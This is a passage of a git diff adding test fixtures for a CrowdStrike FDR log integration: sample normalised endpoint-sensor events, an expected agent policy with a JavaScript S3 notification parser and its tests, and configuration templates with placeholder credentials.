"ConfigStateHash": "3164437859", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "EventOrigin": "17", + "UpdateFlag": "1", + "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25", + "name": "InstalledBrowserExtensionV2" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "InstalledBrowserExtension", + "category": [ + "package" + ], + "created": "2025-09-14T03:23:29.811Z", + "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "event", + "original": "{\"event_simpleName\":\"InstalledBrowserExtension\",\"BrowserName\":\"4\",\"BrowserFilePath\":\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\",\"BatchDataTotal\":\"2\",\"BrowserProfileName\":\"Profile 1\",\"BatchTimestamp\":\"1757820209.223\",\"BrowserExtensionVersion\":\"1.2.1\",\"BrowserExtensionInstalledTimestamp\":\"1748442656.300\",\"BatchDataNumber\":\"1\",\"UserSid\":\"S-1-5-21-2765107603-xxxx-500\",\"event_platform\":\"Win\",\"UpdateFlag\":\"1\",\"BrowserProfileId\":\"Default\",\"EventOrigin\":\"17\",\"id\":\"0eaf2b81-3888-446f-99ba-e38ff8249b25\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1757820209811\",\"BrowserExtensionArchitecture\":\"3\",\"UserName\":\"win10_user3\",\"ConfigStateHash\":\"3164437859\",\"BrowserExtensionPath\":\"C:\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\\Extensions\\\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\\\1.2.1_0\",\"BrowserExtensionId\":\"jmjflgjpcpepeafmmgdpfkogkghcpiha\",\"ConfigBuild\":\"1007.3.0019907.15\",\"BrowserExtensionName\":\"Edge relevant text changes\",\"BrowserExtensionStatusEnabled\":\"1\",\"BrowserFileHash\":\"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b\",\"Entitlements\":\"15\",\"name\":\"InstalledBrowserExtensionV2\",\"ComputerName\":\"win10-qwe-3\",\"BrowserExtensionInstallMethod\":\"1\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"BrowserVersion\":\"138.0.3351.83\"}", + "type": [ + "installation" + ] + }, + "host": { + "hostname": "win10-qwe-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "InstalledBrowserExtension", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "package": { + "architecture": "SAFARI_APP", + "installed": "2025-05-28T14:30:56.300Z", + "name": "Edge relevant text changes", + "path": "C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0", + "version": "1.2.1" + }, + "related": { + "hash": [ + "3164437859" + ], + "hosts": [ + "win10-qwe-3" + ], + "user": [ + "win10_user3", + "S-1-5-21-2765107603-xxxx-500" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-21-2765107603-xxxx-500", + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-09-12T03:41:58.836Z", + "crowdstrike": { + "AntiTamperStateFlag": "9", + "ConfigStateHash": "1442922594", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "EventOrigin": "17", + "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a", + "name": "SensorAntiTamperStateV1" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "SensorAntiTamperState", + "category": [ + "configuration" + ], + "created": "2025-09-12T03:41:58.836Z", + "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "state", + "original": "{\"event_simpleName\":\"SensorAntiTamperState\",\"ConfigStateHash\":\"1442922594\",\"ConfigBuild\":\"1007.3.0019907.15\",\"AntiTamperStateFlag\":\"9\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorAntiTamperStateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"8bee55a5-f768-48b9-ab4c-614a1283a58a\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}", + "type": [ + "info" + ] + }, + "host": { + "hostname": "win10-qwe-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "SensorAntiTamperState", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "related": { + "hash": [ + "1442922594" + ], + "hosts": [ + "win10-qwe-3" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-12T03:41:58.836Z", + "crowdstrike": { + "ConfigStateHash": "1442922594", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "EventOrigin": "17", + "Flags": "0", + "RTRState": "1", + "id": "c188e104-d940-46af-aed8-acf5086fc187", + "name": "SensorSettingsUpdateV1" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "SensorSettingsUpdate", + "category": [ + "configuration" + ], + "created": "2025-09-12T03:41:58.836Z", + "id": "c188e104-d940-46af-aed8-acf5086fc187|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "event", + "original": "{\"event_simpleName\":\"SensorSettingsUpdate\",\"RTRState\":\"1\",\"ConfigStateHash\":\"1442922594\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorSettingsUpdateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"c188e104-d940-46af-aed8-acf5086fc187\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}", + "type": [ + "change" + ] + }, + "host": { + "hostname": "win10-qwe-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "SensorSettingsUpdate", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "related": { + "hash": [ + "1442922594" + ], + "hosts": [ + "win10-qwe-3" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-14T03:13:30.498Z", + "crowdstrike": { + "ConfigStateHash": "1694325680", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "ErrorCode": "0", + "EventOrigin": "17", + "ServiceCurrentState": "4", + "id": "37ddccdf-594d-4224-97de-e784822466f4", + "name": "ServicesStatusInfoV1" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "ServicesStatusInfo", + "category": [ + "configuration" + ], + "created": "2025-09-14T03:13:30.498Z", + "id": "37ddccdf-594d-4224-97de-e784822466f4|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "state", + "original": "{\"event_simpleName\":\"ServicesStatusInfo\",\"ConfigStateHash\":\"1694325680\",\"ServiceDisplayName\":\"spooler\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"ServicesStatusInfoV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"37ddccdf-594d-4224-97de-e784822466f4\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757819610498\",\"ServiceCurrentState\":\"4\"}", + "type": [ + "info" + ] + }, + "host": { + "hostname": "win10-qwe-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "ServicesStatusInfo", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "process": { + "title": "spooler" + }, + "related": { + "hash": [ + "1694325680" + ], + "hosts": [ + "win10-qwe-3" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-10-30T08:12:33.235Z", + "crowdstrike": { + "Attacks": [ + { + "Tactic": "Defense Evasion", + "Technique": "Obfuscated Files or Information" + } + ], + "AuthenticationId": "999", + "BoundingLimitCount": 5, + "BoundingLimitDuration": "3600000", + "ConfigStateHash": "1146505100", + "ContextProcessId": "111845303038", + "ContextTimeStamp": "2025-10-30T08:12:32.620Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "FileEcpBitmask": "0", + "ShannonEntropy": "932", + "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a", + "name": "FileWrittenWithEntropyHighV2" + }, + "device": { + "id": "bae5bafaeb93295d398bf55b8ba1cf01" + }, + "event": { + "action": "FileWrittenWithEntropyHigh", + "category": [ + "file" + ], + "created": "2025-10-30T08:12:33.235Z", + "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a|bae5bafaeb93295d398bf55b8ba1cf01|", + "kind": "event", + "original": "{\"event_simpleName\":\"FileWrittenWithEntropyHigh\",\"Size\":\"12216\",\"ShannonEntropy\":\"932\",\"BoundingLimitCount\":\"5\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"fc10d190-e98f-45fc-bb2a-ca60d3534a2a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761811953235\",\"ContextTimeStamp\":\"1761811952.620\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111845303038\",\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FileEcpBitmask\":\"0\",\"BoundingLimitDuration\":\"3600000\",\"Entitlements\":\"15\",\"name\":\"FileWrittenWithEntropyHighV2\",\"ComputerName\":\"win10-qwe-3\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Obfuscated Files or Information\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp", + "extension": "tmp", + "name": "APPX.fb9inon0wlj06bji0gujvuvcd.tmp", + "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp", + "size": 12216, + "type": "file" + }, + "host": { + "hostname": "win10-qwe-3", + "id": "bae5bafaeb93295d398bf55b8ba1cf01", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "FileWrittenWithEntropyHigh", + "observer": { + "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", + "version": "1007.3.0019907.15" + }, + "process": { + "entity_id": "111845303038" + }, + "related": { + "hash": [ + "1146505100" + ], + "hosts": [ + "win10-qwe-3" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "name": [ + "Obfuscated Files or Information" + ] + } + } + }, + { + "@timestamp": "2025-08-19T21:24:04.187Z", + "crowdstrike": { + "AssemblyFlags": "0", + "AssemblyId": "1825020243168", + "AssemblyName": "vezhsq1h, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null", + "ConfigStateHash": "3064617115", + "ContextProcessId": "11708829302", + "ContextTimeStamp": "2025-08-19T21:23:57.713Z", + "DotnetModuleFlags": "8", + "DotnetModuleId": "140707789195504", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EtwProviderType": "2", + "EventOrigin": "1", + "ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", + "ModuleILPath": "vezhsq1h", + "id": "b089f099-ffac-44fd-9efe-e1bc148214ee", + "name": "ReflectiveDotnetModuleLoadV2" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "dll": { + "name": "powershell.exe" + }, + "event": { + "action": "ReflectiveDotnetModuleLoad", + "category": [ + "library" + ], + "created": "2025-08-19T21:24:04.187Z", + "id": "b089f099-ffac-44fd-9efe-e1bc148214ee|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "event", + "original": "{\"event_simpleName\":\"ReflectiveDotnetModuleLoad\",\"AssemblyName\":\"vezhsq1h, Version\\u003d0.0.0.0, Culture\\u003dneutral, PublicKeyToken\\u003dnull\",\"ModuleNativePath\":\"\",\"NativePdbBuildPath\":\"\",\"event_platform\":\"Win\",\"DotnetModuleFlags\":\"8\",\"DotnetModuleId\":\"140707789195504\",\"EventOrigin\":\"1\",\"id\":\"b089f099-ffac-44fd-9efe-e1bc148214ee\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1755638644187\",\"ManagedPdbBuildPath\":\"\",\"ContextTimeStamp\":\"1755638637.713\",\"ConfigStateHash\":\"3064617115\",\"ContextProcessId\":\"11708829302\",\"AssemblyFlags\":\"0\",\"EtwProviderType\":\"2\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"Entitlements\":\"15\",\"name\":\"ReflectiveDotnetModuleLoadV2\",\"AssemblyId\":\"1825020243168\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"ModuleILPath\":\"vezhsq1h\"}", + "type": [ + "start" + ] + }, + "host": { + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "os": { + "type": "windows" + } + }, + "message": "ReflectiveDotnetModuleLoad", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "process": { + "args": [ + "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + ], + "args_count": 1, + "command_line": "\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"", + "entity_id": "11708829302" + }, + "related": { + "hash": [ + "3064617115" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-11T13:33:38.983Z", + "crowdstrike": { + "AuthenticationId": "996", + "ConfigStateHash": "3591479077", + "ContextProcessId": "90332841484", + "ContextTimeStamp": "2025-09-11T13:33:38.424Z", + "DesiredAccess": "2097151", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "HandleCreated": "0", + "IntegrityLevel": "16384", + "TargetAuthenticationId": "996", + "TargetIntegrityLevel": "16384", + "id": "87902694-15af-4692-b1e2-bf7fba80b272", + "name": "SuspiciousPrivilegedProcessHandleV2" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "SuspiciousPrivilegedProcessHandle", + "category": [ + "process" + ], + "created": "2025-09-11T13:33:38.983Z", + "id": "87902694-15af-4692-b1e2-bf7fba80b272|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "event", + "original": "{\"event_simpleName\":\"SuspiciousPrivilegedProcessHandle\",\"IntegrityLevel\":\"16384\",\"ContextThreadId\":\"1217210494023\",\"TargetIntegrityLevel\":\"16384\",\"event_platform\":\"Win\",\"SuspiciousHandleOpenReason\":\"2\",\"EventOrigin\":\"1\",\"id\":\"87902694-15af-4692-b1e2-bf7fba80b272\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757597618983\",\"ContextTimeStamp\":\"1757597618.424\",\"ConfigStateHash\":\"3591479077\",\"ContextProcessId\":\"90332841484\",\"AuthenticationId\":\"996\",\"ConfigBuild\":\"1007.3.0019907.15\",\"TargetProcessId\":\"90365065195\",\"DesiredAccess\":\"2097151\",\"Entitlements\":\"15\",\"name\":\"SuspiciousPrivilegedProcessHandleV2\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"TargetAuthenticationId\":\"996\"}", + "reason": "2", + "type": [ + "info" + ] + }, + "host": { + "hostname": "win10-qwe-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "SuspiciousPrivilegedProcessHandle", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "SYSTEM" + } + }, + "entity_id": "90365065195", + "thread": { + "id": 1217210494023 + } + }, + "related": { + "hash": [ + "3591479077" + ], + "hosts": [ + "win10-qwe-3" + ] + }, + "tags": [ + "preserve_original_event" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected new file mode 100644 index 0000000000..ea1547544d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected @@ -0,0 +1,250 @@ +inputs: + - data_stream: + namespace: ep + meta: + package: + name: crowdstrike + name: test-default-crowdstrike + streams: + - data_stream: + dataset: crowdstrike.fdr + fields: + _conf: + enable_deduplication: false + long_fields: index_long_fields + long_fields_max_length: 1024 + prune_fields: true + fields_under_root: true + max_number_of_messages: 5 + number_of_workers: 5 + processors: + - add_locale: null + - decode_json_fields: + fields: message + target: crowdstrike + - else: + - else: + - cache: + backend: + file: + id: aidmaster + get: + ignore_missing: true + key_field: crowdstrike.aid + target_field: metadata.host + - cache: + backend: + file: + id: userinfo + get: + ignore_missing: true + key_field: crowdstrike.UserSid + target_field: metadata.user + if: + contains: + log.file.path: userinfo + then: + - cache: + backend: + capacity: 0 + file: + id: userinfo + write_interval: 0 + put: + ignore_missing: true + key_field: crowdstrike.UserSid_readable + ttl: 168h + value_field: crowdstrike + - drop_event: + when: + contains: + log.file.path: userinfo + if: + contains: + log.file.path: aidmaster + then: + - cache: + backend: + capacity: 0 + file: + id: aidmaster + write_interval: 0 + put: + ignore_missing: true + key_field: crowdstrike.aid + ttl: 168h + value_field: crowdstrike + - drop_event: + when: + contains: + log.file.path: aidmaster + - drop_fields: + fields: + - crowdstrike + publisher_pipeline.disable_host: true + queue_url: "" + sqs.notification_parsing_script.source: | + function parse(n) { + var m = JSON.parse(n); + var evts = []; + var files = m.files; + var bucket = m.bucket; + var records = m.Records; + var message = m.Message; + var topic_arn = m.TopicArn; + // Checks if not FDR queue + if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") { + // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS. + if ((records != null && records.length != 0) || (message != null && topic_arn != null)) { + // When notification is from S3 -> SNS -> SQS, records need to be extracted from message. + if (records == null || records.length == 0) { + var p = JSON.parse(message); + records = p.Records; + } + if (records != null && records.length != 0) { + records.forEach(function(f){ + if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) { + var evt = new S3EventV2(); + evt.SetS3BucketName(f.s3.bucket.name); + evt.SetS3ObjectKey(f.s3.object.key); + if (f.s3.bucket.arn) { + evt.SetS3BucketARN(f.s3.bucket.arn); + } + if (f.awsRegion) { + evt.SetAWSRegion(f.awsRegion); + } + if (f.eventName) { + evt.SetEventName(f.eventName); + } + if (f.eventSource) { + evt.SetEventSource(f.eventSource); + } + evts.push(evt); + } + }); + } + } + // Checks if event notification is S3 -> EventBridge -> SQS + else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) { + var evt = new S3EventV2(); + evt.SetS3BucketName(m.detail.bucket.name); + evt.SetS3ObjectKey(m.detail.object.key); + if (Array.isArray(m.resources) && m.resources.length > 0) { + evt.SetS3BucketARN(m.resources[0]); + } + if (m.source != null && m.source == "aws.s3") { + evt.SetEventSource("aws:s3"); + } + if (m['detail-type'] == "Object Created") { + evt.SetEventName("ObjectCreated:Put"); + } + evts.push(evt); + } + } else { + // FDR queue + files.sort(function(a, b) { + var isMetadata = function(a) { + return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1)); + }; + var cmp = function(a, b) { + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + }; + if (isMetadata(a) === isMetadata(b)) { + return cmp(a.path, b.path); + } + if (isMetadata(a)) { + return -1; + } + return 1; + }); + files.forEach(function(f){ + var evt = new S3EventV2(); + evt.SetS3BucketName(bucket); + evt.SetS3ObjectKey(f.path); + evts.push(evt); + }); + } + return evts; + } + function test() { + // Test FDR queue + var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}"); + if (fdrEvents.length !== 2) { + throw "expecting two events"; + } + if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") { + throw "expected bucket === fdrBucket"; + } + if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") { + throw "expected object key === prefix/aidmaster"; + } + if (fdrEvents[1].S3.Object.Key !== "prefix/data") { + throw "expected object key === prefix/data"; + } + // Test S3 -> SQS + var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}"); + if (sqsEvents.length !== 1) { + throw "expecting one events"; + } + if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") { + throw "expected bucket === test-sqs-cs-s3"; + } + if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") { + throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3"; + } + if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") { + throw "expected object key === fdr-sample.log"; + } + // Test S3 -> SNS -> SQS + var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}"); + if (snsEvents.length !== 1) { + throw "expecting one events"; + } + if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") { + throw "expected bucket === test-crowds-s3-buck"; + } + if (snsEvents[0].AWSRegion !== "us-east-2") { + throw "expected AWS region === us-east-2"; + } + // Test S3 -> EventBridge -> SQS + var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}"); + if (ebEvents.length !== 1) { + throw "expecting one events"; + } + if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") { + throw "expected bucket === test-eb-crowds-s3-buck"; + } + if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") { + throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck"; + } + if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") { + throw "expected object key === fdr-0_aidmaster.log"; + } + } + tags: + - preserve_original_event + - forwarded + - crowdstrike-fdr + type: aws-s3 + use_output: default +output_permissions: + default: + _elastic_agent_checks: + cluster: + - monitor + _elastic_agent_monitoring: + indices: [] + uuid-for-permissions-on-related-indices: + indices: + - names: + - logs-crowdstrike.fdr-ep + privileges: + - auto_configure + - create_doc +secret_references: [] diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml new file mode 100644 index 0000000000..7595be8d1b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml @@ -0,0 +1,10 @@ +vars: + url: http://host.tld + client_id: test_client_id + client_secret: test_client_secret + token_url: http://host.tld/oauth2/token +data_stream: + vars: + queue_url: "" + preserve_original_event: true + preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml new file mode 100644 index 0000000000..8c4c210dbb --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml @@ -0,0 +1,16 @@ +input: aws-s3 +skip_ignored_fields: + - crowdstrike.ConfigStateData + - crowdstrike.FeatureVector + - crowdstrike.OSVersionFileData + - process.command_line +data_stream: + vars: + access_key_id: "{{AWS_ACCESS_KEY_ID}}" + secret_access_key: "{{AWS_SECRET_ACCESS_KEY}}" + session_token: "{{AWS_SESSION_TOKEN}}" + queue_url: "{{TF_OUTPUT_queue_url}}" + preserve_original_event: true + enable_deduplication: true +assert: + hit_count: 127 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs new file mode 100644 index 0000000000..c2c2153f9e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs @@ -0,0 +1,283 @@ +queue_url: {{queue_url}} +{{#if credential_profile_name}} +credential_profile_name: {{credential_profile_name}} +{{/if}} +{{#if shared_credential_file}} +shared_credential_file: {{shared_credential_file}} +{{/if}} +{{#if visibility_timeout}} +visibility_timeout: {{visibility_timeout}} +{{/if}} +{{#if api_timeout}} +api_timeout: {{api_timeout}} +{{/if}} +{{#if max_number_of_messages}} +max_number_of_messages: {{max_number_of_messages}} +{{/if}} +{{#if number_of_workers}} +number_of_workers: {{number_of_workers}} +{{/if}} 